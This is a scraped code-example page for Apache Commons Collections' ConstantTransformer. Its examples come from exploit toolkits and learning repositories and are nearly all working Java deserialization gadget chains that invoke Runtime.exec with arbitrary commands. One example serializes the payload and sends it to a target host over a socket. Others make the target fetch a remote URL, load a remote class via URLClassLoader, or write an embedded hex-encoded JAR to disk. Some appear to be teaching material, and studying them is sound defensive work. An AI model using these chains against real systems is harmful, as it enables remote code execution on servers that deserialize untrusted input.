org.apache.commons.collections.functors.ConstantTransformer Java Examples

The following examples show how to use org.apache.commons.collections.functors.ConstantTransformer. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: CommonsCollections3.java    From ysoserial with MIT License 6 votes vote down vote up
public Object getObject(final String command) throws Exception {
	Object templatesImpl = Gadgets.createTemplatesImpl(command);

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
 
Example #2
Source File: SerializeMapForTransformer.java    From learnjavabug with MIT License 6 votes vote down vote up
private static void testStaticClassInitForDefineClass() throws Exception {
  Transformer[] transformers = new Transformer[]{
      new ConstantTransformer(DefiningClassLoader.class),
      new InvokerTransformer("getConstructor", new Class[]{Class[].class},
          new Object[]{new Class[0]}),
      new InvokerTransformer("newInstance", new Class[]{Object[].class},
          new Object[]{new Object[0]}),
      new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class},
          new Object[]{"com.threedr3am.bug.collections.v3.no2.CallbackRuntime2",
              FileToByteArrayUtil.readCallbackRuntimeClassBytes(
                  "com/threedr3am/bug/collections/v3/no2/CallbackRuntime2.class")}),
      new InvokerTransformer("newInstance", new Class[]{}, new Object[]{})
  };
  Transformer transformer = new ChainedTransformer(transformers);
  Map inner = new HashMap();
  inner.put("value", "value");
  Map ouputMap = TransformedMap.decorate(inner, null, transformer);
  Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
      .getDeclaredConstructor(Class.class, Map.class);
  ctor.setAccessible(true);
  Object o = ctor.newInstance(Target.class, ouputMap);
  //序列化输出
  byte[] bytes = SerializeUtil.serialize(o);
  //反序列化
  SerializeUtil.deserialize(bytes);
}
 
Example #3
Source File: SerializeMapForTransformer.java    From learnjavabug with MIT License 6 votes vote down vote up
public static void main( String[] args ) throws Exception {
        //create命令链
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
        Transformer transformer = new ChainedTransformer(transformers);

        //利用AnnotationInvocationHandler反序列化,直接触发Transformer
        testAnnotationInvocationHandlerMap(transformer);

        //测试TransformerMap在map的key、value改变中触发
//        testMap(transformer);


    }
 
Example #4
Source File: CommonsCollections3.java    From JavaSerialKiller with MIT License 6 votes vote down vote up
public Object getObject(final String command) throws Exception {
	TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command);

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
 
Example #5
Source File: CommonsCollections3.java    From ysoserial-modified with MIT License 6 votes vote down vote up
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {
    
	Object templatesImpl = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
 
Example #6
Source File: CommonsCollections1.java    From ysoserial-modified with MIT License 5 votes vote down vote up
public InvocationHandler getObject(CmdExecuteHelper cmdHelper) throws Exception {

		final String[] execArgs = cmdHelper.getCommandArray();
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
			new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String[].class }, new Object[]{execArgs}),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
		
		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
		
		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
		
		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain	
				
		return handler;
	}
 
Example #7
Source File: CommonsCollections1.java    From ysoserial with MIT License 5 votes vote down vote up
public InvocationHandler getObject(final String command) throws Exception {
	final String[] execArgs = new String[] { command };
	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(Runtime.class),
			new InvokerTransformer("getMethod", new Class[] {
				String.class, Class[].class }, new Object[] {
				"getRuntime", new Class[0] }),
			new InvokerTransformer("invoke", new Class[] {
				Object.class, Object[].class }, new Object[] {
				null, new Object[0] }),
			new InvokerTransformer("exec",
				new Class[] { String.class }, execArgs),
			new ConstantTransformer(1) };

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
 
Example #8
Source File: CommonsCollections5.java    From ysoserial with MIT License 5 votes vote down vote up
public BadAttributeValueExpException getObject(final String command) throws Exception {
	final String[] execArgs = new String[] { command };
	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
	        new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(Runtime.class),
			new InvokerTransformer("getMethod", new Class[] {
				String.class, Class[].class }, new Object[] {
				"getRuntime", new Class[0] }),
			new InvokerTransformer("invoke", new Class[] {
				Object.class, Object[].class }, new Object[] {
				null, new Object[0] }),
			new InvokerTransformer("exec",
				new Class[] { String.class }, execArgs),
			new ConstantTransformer(1) };

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

	BadAttributeValueExpException val = new BadAttributeValueExpException(null);
	Field valfield = val.getClass().getDeclaredField("val");
       Reflections.setAccessible(valfield);
	valfield.set(val, entry);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return val;
}
 
Example #9
Source File: CommonsCollections1.java    From JavaSerialKiller with MIT License 5 votes vote down vote up
public InvocationHandler getObject(final String command) throws Exception {
	final String[] execArgs = new String[] { command };
	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(Runtime.class),
			new InvokerTransformer("getMethod", new Class[] {
				String.class, Class[].class }, new Object[] {
				"getRuntime", new Class[0] }),
			new InvokerTransformer("invoke", new Class[] {
				Object.class, Object[].class }, new Object[] {
				null, new Object[0] }),
			new InvokerTransformer("exec",
				new Class[] { String.class }, execArgs),
			new ConstantTransformer(1) };

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
	
	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
	
	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
	
	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain	
			
	return handler;
}
 
Example #10
Source File: CommonsCollections5.java    From ysoserial-modified with MIT License 5 votes vote down vote up
public BadAttributeValueExpException getObject(CmdExecuteHelper cmdHelper) throws Exception {

		final String[] execArgs = cmdHelper.getCommandArray();
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
		        new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String[].class }, new Object[]{execArgs}),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
		
		TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
		
		BadAttributeValueExpException val = new BadAttributeValueExpException(null);
		Field valfield = val.getClass().getDeclaredField("val");
		valfield.setAccessible(true);
		valfield.set(val, entry);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return val;
	}
 
Example #11
Source File: ExampleTransformersWithLazyMap.java    From JavaDeserH2HC with MIT License 5 votes vote down vote up
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
        throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
        IllegalAccessException, IllegalArgumentException, InvocationTargetException {

    String cmd[] = {"/bin/sh", "-c", "touch /tmp/h2hc_lazymap"}; // Comando a ser executado

    Transformer[] transformers = new Transformer[] {
            // retorna Class Runtime.class
            new ConstantTransformer(Runtime.class),
            // 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0])
            new InvokerTransformer(
                    "getMethod",                                    // invoca método getMethod
                    ( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[])
                    ( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0])
            ),
            // 2o. Objeto InvokerTransformer: .invoke(null, new Object[0])
            new InvokerTransformer(
                    "invoke",                                      // invoca método: invoke
                    (new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
                    (new Object[] {null, new Object[0] })         // parâmetros: (null, new Object[0])
            ),
            // 3o. Objeto InvokerTransformer: .exec(cmd[])
            new InvokerTransformer(
                    "exec",                                       // invoca método: exec
                    new Class[] { String[].class },              // tipos dos parâmetros: (String[])
                    new Object[]{ cmd } )                        // parâmetros: (cmd[])
    };

    // Cria o objeto ChainedTransformer com o array de Transformers:
    Transformer transformerChain = new ChainedTransformer(transformers);
    // Cria o map
    Map map = new HashMap();
    // Decora o map com o LazyMap e a cadeia de transformações como factory
    Map lazyMap = LazyMap.decorate(map,transformerChain);

    lazyMap.get("h2hc2"); // Tenta recuperar uma chave inexistente (BUM)

}
 
Example #12
Source File: exp.java    From Java-Unserialization-Study with MIT License 5 votes vote down vote up
public static void main(String[] args) throws Exception {

        String targetAddress = args[0];
        int targetPort = Integer.parseInt(args[1]);

        // Build Runtime payload
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
                new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"}),
                new ConstantTransformer("1")
        };
        Transformer transformChain = new ChainedTransformer(transformers);

        // Build a vulnerability map object
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo233");

        // Build an exception to trigger our payload when unserialize
        BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
        Field valField = exception.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(exception, entry);

        // send payload to target!
        // or write to file
        // ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
        // oos.writeObject(payload);
        Socket socket=new Socket(targetAddress, targetPort);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
        objectOutputStream.writeObject(exception);
        objectOutputStream.flush();
    }
 
Example #13
Source File: SerializeMapForTransformer.java    From learnjavabug with MIT License 5 votes vote down vote up
private static void testAnnotationInvocationHandlerForDefineClass() throws Exception {
  Transformer[] transformers = new Transformer[]{
      new ConstantTransformer(DefiningClassLoader.class),
      new InvokerTransformer("getConstructor", new Class[]{Class[].class},
          new Object[]{new Class[0]}),
      new InvokerTransformer("newInstance", new Class[]{Object[].class},
          new Object[]{new Object[0]}),
      new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class},
          new Object[]{"com.threedr3am.bug.collections.v3.no2.CallbackRuntime",
              FileToByteArrayUtil.readCallbackRuntimeClassBytes(
                  "com/threedr3am/bug/collections/v3/no2/CallbackRuntime.class")}),
      new InvokerTransformer("newInstance", new Class[]{}, new Object[]{}),
      new InvokerTransformer("exec", new Class[]{String.class},
          new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"})
  };
  Transformer transformer = new ChainedTransformer(transformers);
  Map inner = new HashMap();
  inner.put("value", "value");
  Map ouputMap = TransformedMap.decorate(inner, null, transformer);
  Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
      .getDeclaredConstructor(Class.class, Map.class);
  ctor.setAccessible(true);
  Object o = ctor.newInstance(Target.class, ouputMap);
  //序列化输出
  byte[] bytes = SerializeUtil.serialize(o);
  //反序列化
  SerializeUtil.deserialize(bytes);
}
 
Example #14
Source File: SleepExample.java    From JavaDeserH2HC with MIT License 4 votes vote down vote up
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
        throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
        IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {

    // Cria array de Transformers que irá resultar na seguinte construção:
    //Thread.class.getMethod("sleep", new Class[]{Long.TYPE}).invoke(null, new Object[]{10000L});
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Thread.class), // retorna class Thread.class
        // 1o. Objeto InvokerTransformer: getMethod("sleep", new Class[]{Long.TYPE})
        new InvokerTransformer(
            "getMethod",                        // invoca método getMethod
            ( new Class[] {String.class, Class[].class } ), // tipos dos parâmetros: (String, Class[])
            ( new Object[] {"sleep", new Class[]{Long.TYPE} } ) // parâmetros: (sleep, new Class[]{Long.TYPE})
        ),
        // 2o. Objeto InvokerTransformer: invoke(null, new Object[]{10000L})
        new InvokerTransformer(
            "invoke",                           // invoca método: invoke
            (new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
            (new Object[] {null, new Object[] {10000L} }) // parâmetros: (null, new Object[] {10000L})
        )
    };

    // Cria o objeto ChainedTransformer com o array de Transformers:
    Transformer transformerChain = new ChainedTransformer(transformers);
    // Cria o map
    Map map = new HashMap();
    // Decora o map com o LazyMap e a cadeia de transformações como factory
    Map lazyMap = LazyMap.decorate(map,transformerChain);

    // Usa reflexão para obter referencia da classe AnnotationInvocationHandler
    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    // Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    // Torna o construtor acessível
    ctor.setAccessible(true);
    // Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
    // type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
    // memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
    InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);

    //cria a interface map
    Class[] interfaces = new Class[] {java.util.Map.class};
    // cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
    Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);

    // cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
    // esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
    // método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
    InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);

    // Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
    // o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
    // No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
    // com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
    System.out.println("Saving serialized object in SleepExample.ser");
    FileOutputStream fos = new FileOutputStream("SleepExample.ser");
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(handlerProxy);
    oos.flush();

}
 
Example #15
Source File: DnsWithCommonsCollections.java    From JavaDeserH2HC with MIT License 4 votes vote down vote up
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
        throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
        IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {

    String url = args[0];
    // Cria array de transformers que resulta na seguinte construção:
    // new URL(url).openConnection().getInputStream().read();
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(new URL(url)),
            new InvokerTransformer("openConnection", new Class[] { }, new Object[] {}),
            new InvokerTransformer("getInputStream", new Class[] { }, new Object[] {}),
            new InvokerTransformer("read", new Class[] {}, new Object[] {})
    };

    // Cria o objeto ChainedTransformer com o array de Transformers:
    Transformer transformerChain = new ChainedTransformer(transformers);
    // Cria o map
    Map map = new HashMap();
    // Decora o map com o LazyMap e a cadeia de transformações como factory
    Map lazyMap = LazyMap.decorate(map,transformerChain);

    // Usa reflexão para obter referencia da classe AnnotationInvocationHandler
    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    // Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    // Torna o construtor acessível
    ctor.setAccessible(true);
    // Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
    // type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
    // memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
    InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);

    //criado a interface map
    Class[] interfaces = new Class[] {java.util.Map.class};
    // cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
    Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);

    // cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
    // esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
    // método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
    InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);

    // Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
    // o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
    // No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
    // com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
    System.out.println("Saving serialized object in SleepExample.ser");
    FileOutputStream fos = new FileOutputStream("SleepExample.ser");
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(handlerProxy);
    oos.flush();

}
 
Example #16
Source File: ExampleCommonsCollections1.java    From JavaDeserH2HC with MIT License 4 votes vote down vote up
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
        throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
        IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {

    // Verifica se o usuário forneceu o comando a ser executado
    if (args.length != 1) {
        System.out.println("Invalid params! \n" +
                "Example usage: java ExampleCommonsCollections1 \"touch /tmp/test\"");
        System.exit(1);
    }

    // Seleciona o interpretador correto de acordo com o comando a ser executado
    //boolean isUnix = System.getProperty("file.separator").equals("/");
    boolean isUnix = !args[0].contains("cmd.exe") && !args[0].contains("powershell.exe");
    String cmd[];
    if (isUnix)
        cmd = new String[]{"/bin/bash", "-c", args[0]}; // Comando a ser executado
    else
        cmd = new String[]{"cmd.exe", "/c", args[0]}; // Comando a ser executado

    // Cria array de transformers que resulta na seguinte construção:
    //((Runtime)Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0])).exec(cmd[]);
    Transformer[] transformers = new Transformer[] {
        // retorna Class Runtime.class
        new ConstantTransformer(Runtime.class),
        // 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0])
        new InvokerTransformer(
            "getMethod",                       // invoca método getMethod
            ( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[])
            ( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0])
        ),
        // 2o. Objeto InvokerTransformer: .invoke(null, new Object[0])
        new InvokerTransformer(
            "invoke",                         // invoca método: invoke
            (new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
            (new Object[] {null, new Object[0] })         // parâmetros: (null, new Object[0])
        ),
        // 3o. Objeto InvokerTransformer: .exec(cmd[])
        new InvokerTransformer(
            "exec",                          // invoca método: exec
            new Class[] { String[].class },              // tipos dos parâmetros: (String[])
            new Object[]{ cmd } )                        // parâmetros: (cmd[])
    };

    // Cria o objeto ChainedTransformer com o array de Transformers:
    Transformer transformerChain = new ChainedTransformer(transformers);
    // Cria o map
    Map map = new HashMap();
    // Decora o map com o LazyMap e a cadeia de transformações como factory
    Map lazyMap = LazyMap.decorate(map,transformerChain);

    // Usa reflexão para obter referencia da classe AnnotationInvocationHandler
    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    // Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    // Torna o construtor acessível
    ctor.setAccessible(true);
    // Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
    // type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
    // memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
    InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);

    //cria a interface map
    Class[] interfaces = new Class[] {java.util.Map.class};
    // cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
    Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);

    // cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
    // esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
    // método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
    InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);

    // Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
    // o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
    // No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
    // com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
    System.out.println("Saving serialized object in ExampleCommonsCollections1.ser");
    FileOutputStream fos = new FileOutputStream("ExampleCommonsCollections1.ser");
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(handlerProxy);
    oos.flush();

}
 
Example #17
Source File: Payload.java    From security with GNU General Public License v3.0 4 votes vote down vote up
public static byte[] generateBindPayload(String remoteClassPath) throws Exception {
    Transformer[] transforms = new Transformer[]{new ConstantTransformer(URLClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{URL[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new URL[]{new URL(remoteClassPath)}}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"org.secdomain.exp.RemoteObjectImpl"}), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"bind", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]})};
    return generateObject(transforms);
}
 
Example #18
Source File: Payload.java    From security with GNU General Public License v3.0 4 votes vote down vote up
public static byte[] generateRemotePayload(String remotePath) throws Exception {
    Transformer[] transformers = new Transformer[]{new ConstantTransformer(FileOutputStream.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{remotePath}}), new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{Utils.hexStringToBytes(REMOTE_JAR)}), new ConstantTransformer(Integer.valueOf(1))};
    return generateObject(transformers);
}
 
Example #19
Source File: Payload.java    From security with GNU General Public License v3.0 4 votes vote down vote up
public static byte[] generateServerPayload(String remotePath) throws Exception {
    Transformer[] transformers = new Transformer[]{new ConstantTransformer(FileOutputStream.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{remotePath}}), new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{Utils.hexStringToBytes("504b0304140008080800d6a59b47000000000000000000000000140004004d4554412d494e462f4d414e49464553542e4d46feca0000f34dcccb4c4b2d2ed10d4b2d2acecccfb35230d433e0e5e2e50200504b0708b27f02ee1b00000019000000504b0304140008080800cda59b470000000000000000000000001b0000006f72672f6865797365632f6578702f5365727665722e636c61737375566b6c14d715feeeecae67bc8cd7ebb5c730069c1012583f827984858e4901f3484d16ec60e3c4765a58af077bc97a6799dd05dca625499396266d9ab4ee03da24a4af4d9ba64d826aac425da9fd511555eaafa2568a2aa50f897fa86aa448916afadd592fd8b0f1ca77eebde7de73cff9ce77cebd57e67e3d0b60032ea850040cc71deb18b7277376b2c33e95ede8b3dd13b6abc22f103e963891e8482732631d3d23c7ec645ea06a5b2a93ca7f52c0176d1910f0ef7246ed207ca8d6114095406d3c95b10f1426466cb73f3192b60522712799480f24dc941ccf4ffaf3e3a99cc0d278c5c33b0502b97cc2e5798dd1eef82d2bfaf26e2a33d6d93210441dea554404ea6e490f1632f9d484ada301864070cccecfcfd0c9684bfc8e859d2a9652e4cd67ecfcfce17d4ef2093b1f44234ce953138d8d76b70cf8205e8286950290b2bb74dc8d55c423914cda591a5a5f3ec1d3e4e9e80c6235ee53712f61b94da4630dd60a84686377265bc8d3313b314140ca5a524ec70281a7a945472bdaa88b9b7a0af905bb962dd8b550c26df7a343c53a9a5741ab8ef5d840f7d81f25e2d1e1ae966e159b16c5bd8478101bb159a2111350b9ae9b8068d84a1658962585968e4e6c9361cba65344636db442d486ef9cd320a93432694b253b74ec441731b58f1712e99c8c5afc760676b60c69d84d2b7205029fcbc97d7b753c844f096804a66b326fe764c85a86bb82d887b88a87051a2aa1a3633f0ed0e4936e2a6fcffb3f20f7f4ea7844723970345dc88dabe823c265057b53697ba192200ee2904466e036731750f520e2b2e995cd908e614f7732ede46c0d9fa6fbc98951c9e7c33a8e2041dbed5376f263205c30d5eb3a1200c638294936ba2815e68541081cd5318671e6c308a1d96fbb63b64ba8e82cdd1deed2708cc6d8aeebb81ad2c4be904d3b09da9341568553e642219f4a77ec74ddc4644e06e9788906d430249dca4900bc64bdd3e4a1968100bc3fdfb5204ee1b32a261731ac7f5cf24fc7e7f0a4e44fdab6b3327efb2472ab3124936d48c553650a7b7bf69c92499772322a9e59c8ed9e9b02aac83ab280886ed94de4c76525bac33a3a9cf3b25ed6a28a85402e49a6537686baeaeec8705a9c9209c5e057cc5b46d791d2c6caf94918dd42a6df2b51f5150a14cf76b2499658ea49dbd2a9d1449e1451869926c152a87a3ddf6a52b943deb0af5437c51083ecd08bddde866a276bbb891230aa6b27edd4097964858c14d09d45c5a529fe71dcef94c892688b6d2ff39256a6789a2657948c08e49d7c821c5b529e8a7b2ee5ed09465ca4f86fdfc471719849f29fe24d153f5b5c9b2673dcabe3e7788b1e26243b934e96ec6aad5037ba2b4c75cb2bac4ae6c5e10de5cec672877530d8e714dca42dfda6d52556ac936ab0